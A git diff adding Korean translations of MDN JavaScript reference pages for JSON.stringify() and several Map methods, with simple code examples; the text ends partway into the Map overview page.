diff --git a/files/ko/web/javascript/reference/global_objects/json/stringify/index.html b/files/ko/web/javascript/reference/global_objects/json/stringify/index.html
new file mode 100644
index 0000000000..12de82705b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/json/stringify/index.html
@@ -0,0 +1,230 @@
+---
+title: JSON.stringify()
+slug: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+tags:
+ - JSON
+ - JavaScript
+ - Method
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/JSON/stringify
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>JSON.stringify()</code></strong> 메서드는 JavaScript 값이나 객체를 JSON 문자열로 변환합니다.</span> 선택적으로, <code>replacer</code>를 함수로 전달할 경우 변환 전 값을 변형할 수 있고, 배열로 전달할 경우 지정한 속성만 결과에 포함합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/json-stringify.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">JSON.stringify(<var>value</var>[, <var>replacer</var>[, <var>space</var>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>JSON 문자열로 변환할 값.</dd>
+ <dt><code>replacer</code> {{optional_inline}}</dt>
+ <dd>문자열화 동작 방식을 변경하는 함수, 혹은 JSON 문자열에 포함될 값 객체의 속성들을 선택하기 위한 화이트리스트(whitelist)로 쓰이는 {{jsxref("String")}} 과 {{jsxref("Number")}} 객체들의 배열. 이 값이 null 이거나 제공되지 않으면, 객체의 모든 속성들이 JSON 문자열 결과에 포함된다.</dd>
+</dl>
+
+<dl>
+ <dt><code>space</code> {{optional_inline}}</dt>
+ <dd>가독성을 목적으로 JSON 문자열 출력에 공백을 삽입하는데 사용되는 {{jsxref("String")}} 또는 {{jsxref("Number")}} 객체. 이것이 <code>Number</code> 라면, 공백으로 사용되는 스페이스(space)의 수를 나타낸다; 이 수가 10 보다 크면 10 으로 제한된다. 1 보다 작은 값은 스페이스가 사용되지 않는 것을 나타낸다. 이것이 <code>String</code> 이라면, 그 문자열(만약 길이가 10 보다 길다면, 첫번째 10 개의 문자)이 공백으로 사용된다. 이 매개 변수가 제공되지 않는다면(또는 null 이면), 공백이 사용되지 않는다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값과 대응하는 JSON 문자열.</p>
+
+<h3 id="예외">예외</h3>
+
+<p>순환 참조를 발견할 경우 {{jsxref("TypeError")}}(<code>cyclic object value</code>).</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>JSON.stringify()</code>는 값을 JSON 표기법으로 변환한다.</p>
+
+<ul>
+ <li>배열이 아닌 객체의 속성들은 어떤 특정한 순서에 따라 문자열화 될 것이라고 보장되지 않는다. 같은 객체의 문자열화에 있어서 속성의 순서에 의존하지 않는다.</li>
+ <li>{{jsxref("Boolean")}}, {{jsxref("Number")}}, {{jsxref("String")}} 객체들은 문자열화 될 때 전통적인 변환 의미에 따라 연관된 기본형(primitive) 값으로 변환된다.</li>
+ <li>{{jsxref("undefined")}}, 함수, 심볼(symbol)은 변환될 때 생략되거나(객체 안에 있을 경우) {{jsxref("null")}} 로 변환된다(배열 안에 있을 경우).</li>
+ <li>심볼을 키로 가지는 속성들은 <code>replacer</code> 함수를 사용하더라도 완전히 무시된다.</li>
+ <li>열거 불가능한 속성들은 무시된다.</li>
+</ul>
+
+<pre class="brush: js notranslate">JSON.stringify({}); // '{}'
+JSON.stringify(true); // 'true'
+JSON.stringify('foo'); // '"foo"'
+JSON.stringify([1, 'false', false]); // '[1,"false",false]'
+JSON.stringify({ x: 5 }); // '{"x":5}'
+
+JSON.stringify(new Date(2006, 0, 2, 15, 4, 5))
+// '"2006-01-02T15:04:05.000Z"'
+
+JSON.stringify({ x: 5, y: 6 });
+// '{"x":5,"y":6}' or '{"y":6,"x":5}'
+JSON.stringify([new Number(1), new String('false'), new Boolean(false)]);
+// '[1,"false",false]'
+
+// Symbols:
+JSON.stringify({ x: undefined, y: Object, z: Symbol('') });
+// '{}'
+JSON.stringify({ [Symbol('foo')]: 'foo' });
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, [Symbol.for('foo')]);
+// '{}'
+JSON.stringify({ [Symbol.for('foo')]: 'foo' }, function(k, v) {
+ if (typeof k === 'symbol') {
+ return 'a symbol';
+ }
+});
+// '{}'
+
+// Non-enumerable properties:
+JSON.stringify( Object.create(null, { x: { value: 'x', enumerable: false }, y: { value: 'y', enumerable: true } }) );
+// '{"y":"y"}'
+
+</pre>
+
+<h3 id="replacer_매개_변수"><code>replacer</code> 매개 변수</h3>
+
+<p><code>replacer</code> 매개변수는 함수 또는 배열이 될 수 있다. 함수일 때는 문자열화 될 key 와 value, 2개의 매개변수를 받는다. key 가 발견된 객체는 리플레이서의 <code>this</code> 매개변수로 제공된다. 맨 처음에는 문자열화될 그 객체를 나타내는 비어 있는 key와 함께 호출되고, 그 다음에는 문자열화될 그 객체나 배열의 각 속성에 대해 호출된다. 이것은 JSON 문자열에 추가되어야 하는 값을 반환해야한다:</p>
+
+<ul>
+ <li>{{jsxref("Number")}} 를 반환하면, JSON 문자열에 추가될 때 그 수를 나타내는 문자열이 그 속성의 값으로 사용된다.</li>
+ <li>{{jsxref("String")}} 을 반환하면, 그것이 JSON 문자열에 추가될 때 속성의 값으로 사용된다.</li>
+ <li>{{jsxref("Boolean")}} 을 반환하면, 그것이 JSON 문자열에 추가될 때 "true" 또는 "false" 이 속성의 값으로 사용된다.</li>
+ <li>다른 객체를 반환하면, 그 객체는 <code>replacer</code> 함수를 각각의 속성에 대해 호출하며 순환적으로 JSON 문자열로 문자열화된다. 그 객체가 함수인 경우에는 JSON 문자열에 아무것도 추가되지 않는다.</li>
+ <li><code>undefined</code> 를 반환하면, 그 속성은 JSON 문자열 결과에 포함되지 않는다.</li>
+</ul>
+
+<div class="note"><strong>유의:</strong> <code>replacer</code> 함수를 배열로부터 값을 제거하기위해 사용할 수 없다. 만약 <code>undefined</code> 나 함수를 반환한다면 <code>null</code> 이 대신 사용될 것이다.</div>
+
+<h4 id="함수에_대한_예제">함수에 대한 예제</h4>
+
+<pre class="brush: js notranslate">function replacer(key, value) {
+ if (typeof value === "string") {
+ return undefined;
+ }
+ return value;
+}
+
+var foo = {foundation: "Mozilla", model: "box", week: 45, transport: "car", month: 7};
+var jsonString = JSON.stringify(foo, replacer);
+</pre>
+
+<p>JSON 문자열 결과는 <code>{"week":45,"month":7}</code> 이다.</p>
+
+<h4 id="배열에_대한_예제">배열에 대한 예제</h4>
+
+<p><code>replacer</code> 가 배열인 경우, 그 배열의 값은 JSON 문자열의 결과에 포함되는 속성의 이름을 나타낸다.</p>
+
+<pre class="brush: js notranslate">JSON.stringify(foo, ['week', 'month']);
+// '{"week":45,"month":7}', 단지 "week" 와 "month" 속성을 포함한다
+</pre>
+
+<h3 id="space_매개_변수"><code>space</code> 매개 변수</h3>
+
+<p><code>space</code> 매개변수는 최종 문자열의 간격을 제어한다. 숫자일 경우 최대 10자 만큼의 공백 문자 크기로 들여쓰기되며, 문자열인 경우 해당 문자열 또는 처음 10자 만큼 들여쓰기 된다.</p>
+
+<pre class="brush: js notranslate">JSON.stringify({ a: 2 }, null, ' ');
+// '{
+// "a": 2
+// }'
+</pre>
+
+<p>'\t'를 사용하면 일반적으로 들여쓰기 된 코드스타일과 유사함.</p>
+
+<pre class="brush: js notranslate">JSON.stringify({ uno: 1, dos: 2 }, null, '\t');
+// returns the string:
+// '{
+// "uno": 1,
+// "dos": 2
+// }'
+</pre>
+
+<h3 id="toJSON_작동"><code>toJSON()</code> 작동</h3>
+
+<p>If an object being stringified has a property named <code>toJSON</code> whose value is a function, then the <code>toJSON()</code> method customizes JSON stringification behavior: instead of the object being serialized, the value returned by the <code>toJSON()</code> method when called will be serialized. For example:</p>
+
+<pre class="brush: js notranslate">var obj = {
+ foo: 'foo',
+ toJSON: function() {
+ return 'bar';
+ }
+};
+JSON.stringify(obj); // '"bar"'
+JSON.stringify({ x: obj }); // '{"x":"bar"}'
+</pre>
+
+<h3 id="Example_of_using_JSON.stringify_with_localStorage">Example of using <code>JSON.stringify()</code> with <code>localStorage</code></h3>
+
+<p>In a case where you want to store an object created by your user and allowing it to be restored even after the browser has been closed, the following example is a model for the applicability of <code>JSON.stringify()</code>:</p>
+
+<div class="warning">
+<p>Functions are not a valid JSON data type so they will not work. However, they can be displayed if first converted to a string (e.g. in the replacer), via the function's toString method. Also, some objects like {{jsxref("Date")}} will be a string after {{jsxref("JSON.parse()")}}.</p>
+</div>
+
+<pre class="brush: js notranslate">// Creating an example of JSON
+var session = {
+ 'screens': [],
+ 'state': true
+};
+session.screens.push({ 'name': 'screenA', 'width': 450, 'height': 250 });
+session.screens.push({ 'name': 'screenB', 'width': 650, 'height': 350 });
+session.screens.push({ 'name': 'screenC', 'width': 750, 'height': 120 });
+session.screens.push({ 'name': 'screenD', 'width': 250, 'height': 60 });
+session.screens.push({ 'name': 'screenE', 'width': 390, 'height': 120 });
+session.screens.push({ 'name': 'screenF', 'width': 1240, 'height': 650 });
+
+// Converting the JSON string with JSON.stringify()
+// then saving with localStorage in the name of session
+localStorage.setItem('session', JSON.stringify(session));
+
+// Example of how to transform the String generated through
+// JSON.stringify() and saved in localStorage in JSON object again
+var restoredSession = JSON.parse(localStorage.getItem('session'));
+
+// Now restoredSession variable contains the object that was saved
+// in localStorage
+console.log(restoredSession);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.12.3', 'JSON.stringify')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.7.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-json.stringify', 'JSON.stringify')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-json.stringify', 'JSON.stringify')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.JSON.stringify")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("JSON.parse()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/@@tostringtag/index.html b/files/ko/web/javascript/reference/global_objects/map/@@tostringtag/index.html
new file mode 100644
index 0000000000..7a1cd5002b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/@@tostringtag/index.html
@@ -0,0 +1,51 @@
+---
+title: 'Map.prototype[@@toStringTag]'
+slug: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/@@toStringTag
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Map[@@toStringTag]</code></strong> 프로퍼티의 초기값은 "Map"입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-@@tostringtag.html")}}</div>
+
+
+
+<div>{{js_property_attributes(0,0,1)}}</div>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">Map[Symbol.toStringTag]</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:js">Object.prototype.toString.call(new Map()) // "[object Map]"
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype-@@tostringtag', 'Map.prototype[@@toStringTag]')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.@@toStringTag")}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/map/clear/index.html b/files/ko/web/javascript/reference/global_objects/map/clear/index.html
new file mode 100644
index 0000000000..fc63ff96d6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/clear/index.html
@@ -0,0 +1,75 @@
+---
+title: Map.prototype.clear()
+slug: Web/JavaScript/Reference/Global_Objects/Map/clear
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Map
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/clear
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>clear()</strong></code> 메서드는 <code>Map</code> 객체의 모든 요소를 제거합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-clear.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>myMap</em>.clear();
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="clear()_사용하기"><code>clear()</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'baz');
+myMap.set(1, 'foo');
+
+myMap.size; // 2
+myMap.has('bar'); // true
+
+myMap.clear();
+
+myMap.size; // 0
+myMap.has('bar') // false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.clear', 'Map.prototype.clear')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.clear")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/delete/index.html b/files/ko/web/javascript/reference/global_objects/map/delete/index.html
new file mode 100644
index 0000000000..41110a28a9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/delete/index.html
@@ -0,0 +1,79 @@
+---
+title: Map.prototype.delete()
+slug: Web/JavaScript/Reference/Global_Objects/Map/delete
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Map
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/delete
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>delete()</strong></code> 메서드는 <code>Map</code> 객체에서 특정 요소를 제거합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-delete.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">myMap.delete(<em>key</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd><code>Map</code> 객체에서 제거할 요소의 키.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>요소가 <code>Map</code> 객체에 존재해서 제거했을 경우 <code>true</code>, 존재하지 않았으면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="delete()_사용하기"><code>delete()</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.delete('bar'); // Returns true. Successfully removed.
+myMap.has('bar'); // Returns false. The "bar" element is no longer present.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.delete")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/entries/index.html b/files/ko/web/javascript/reference/global_objects/map/entries/index.html
new file mode 100644
index 0000000000..54242f373b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/entries/index.html
@@ -0,0 +1,78 @@
+---
+title: Map.prototype.entries()
+slug: Web/JavaScript/Reference/Global_Objects/Map/entries
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Map
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>entries()</strong></code> 메서드는 <code>Map</code> 객체의 각 요소에 해당하는 <code>[키, 값]</code> 쌍을 <code>Map</code>에 등록한 순서대로 포함한 새로운 <strong><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterator</a></strong> 객체를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.entries()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>A new {{jsxref("Map")}} iterator object.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="entries()_사용하기"><code>entries()</code> 사용하기</h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.entries();
+
+console.log(mapIter.next().value); // ["0", "foo"]
+console.log(mapIter.next().value); // [1, "bar"]
+console.log(mapIter.next().value); // [Object, "baz"]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.entries")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/foreach/index.html b/files/ko/web/javascript/reference/global_objects/map/foreach/index.html
new file mode 100644
index 0000000000..48b96eb570
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/foreach/index.html
@@ -0,0 +1,98 @@
+---
+title: Map.prototype.forEach()
+slug: Web/JavaScript/Reference/Global_Objects/Map/forEach
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>forEach()</strong></code><strong> </strong>메소드는 <code>Map</code> 오브젝트 내의 key/value 쌍의 개수 만큼 주어진 함수를 순서대로 실행합니다. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.forEach(<em>callback</em>[, <em>thisArg</em>])</code></pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각각의 요소를 처리하기 위한 함수.</dd>
+ <dt><code>thisArg</code></dt>
+ <dd> <code>callback</code> 을 실행할때 <code>this</code> 로 사용되는 값.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>forEach</code> 메서드는 map의 각각의 키마다 주어진 <code>callback</code> 함수를 실행합니다. 삭제된 키에대해서는 호출되지 않습니다. 그러나, 값이 존재하지만 <code>undefined</code> 인 값에 대해서는 실행됩니다.</p>
+
+<p><code>callback</code> 은 <strong>3가지 인수</strong>로 호출됩니다.</p>
+
+<ul>
+ <li><strong>요소의 value</strong></li>
+ <li><strong>요소의 key</strong></li>
+ <li><strong><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">사용될 </span></font>Map</code> 객체</strong></li>
+</ul>
+
+<p><code>thisArg</code> 파라미터가 <code>forEach</code> 에 제공되면, <code>this</code> 값으로 사용하기 위해 호출될때 <code>callback</code> 으로 넘겨집니다. 그렇지 않으면 <code>undefined</code> 값이 <code>this</code> 값으로 넘겨질 것입니다. 궁극적으로 <code>callback</code> 으로 보여지게 된 <code>this</code> 값은 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">함수에 의해 보여지는 this 를 결정하기 위한 일반적인 규칙에 따라 결정됩니다.</a></p>
+
+<p>각각의 value는 한번씩 사용됩니다. 다만 <code>forEach</code> 가 끝나기 전에 value가 삭제되거나 재추가 된 경우는 예외입니다. <code>callback</code> 은 사용되기 전에 삭제된 value에 의해 호출되지 않습니다. <code>forEach</code> 가 끝나기 전에 새롭게 추가된 value가 사용 됩니다.</p>
+
+<p><code>forEach</code> 는 <code>Map</code> 오브젝트 내에 있는 각각의 요소마다 <code>callback</code> 함수를 실행합니다; 깂을 반환하지 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Map_오브젝트의_내용을_출력"><code>Map</code> 오브젝트의 내용을 출력</h3>
+
+<p>아래의 코드는 <code>Map</code> 오브젝트 내의 각각 요소들을 행별로 출력합니다:</p>
+
+<pre class="brush:js">function logMapElements(value, key, map) {
+ console.log(`map.get('${key}') = ${value}`);
+}
+new Map([['foo', 3], ['bar', {}], ['baz', undefined]]).forEach(logMapElements);
+// logs:
+// "map.get('foo') = 3"
+// "map.get('bar') = [object Object]"
+// "map.get('baz') = undefined"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.forEach")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Set.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/get/index.html b/files/ko/web/javascript/reference/global_objects/map/get/index.html
new file mode 100644
index 0000000000..835c8c3e6e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/get/index.html
@@ -0,0 +1,80 @@
+---
+title: Map.prototype.get()
+slug: Web/JavaScript/Reference/Global_Objects/Map/get
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Map
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/get
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>get()</strong></code> 메서드는 <code>Map</code> 객체에서 지정한 요소를 회수합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>myMap</em>.get(<em>key</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd><code>Map</code> 객체에서 회수할 요소의 키.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 키와 연결된 요소. 그런 요소가 없으면 {{jsxref("undefined")}}.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="get_사용하기"><code>get</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', 'foo');
+
+myMap.get('bar'); // "foo" 반환.
+myMap.get('baz'); // undefined 반환.
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.get")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/has/index.html b/files/ko/web/javascript/reference/global_objects/map/has/index.html
new file mode 100644
index 0000000000..60c5c03dfb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/has/index.html
@@ -0,0 +1,81 @@
+---
+title: Map.prototype.has()
+slug: Web/JavaScript/Reference/Global_Objects/Map/has
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Map
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/has
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>has()</strong></code> 메서드는 주어진 키를 가진 요소가 <code>Map</code>에 존재하는지를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-has.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.has(<em>key</em>);</code></pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>key</code></dt>
+ <dd>존재 여부를 판별할 키값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 키를 가진 요소가 있으면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="has()_사용하기"><code>has()</code> 사용하기</h3>
+
+<pre class="brush: js">var myMap = new Map();
+myMap.set('bar', "foo");
+
+myMap.has('bar'); // returns true
+myMap.has('baz'); // returns false
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.has', 'Map.prototype.has')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.has")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.set()")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/map/index.html b/files/ko/web/javascript/reference/global_objects/map/index.html
new file mode 100644
index 0000000000..f8b29bdf6e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/map/index.html
@@ -0,0 +1,244 @@
+---
+title: Map
+slug: Web/JavaScript/Reference/Global_Objects/Map
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Map
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Map</code> </strong>객체는 키-값 쌍을 저장하며 각 쌍의 삽입 순서도 기억하는 콜렉션입니다.</span> 아무 값(객체와 {{Glossary("Primitive", "원시 값")}})이라도 키와 값으로 사용할 수 있습니다.</p>
+
+<h2 id="설명">설명</h2>
+
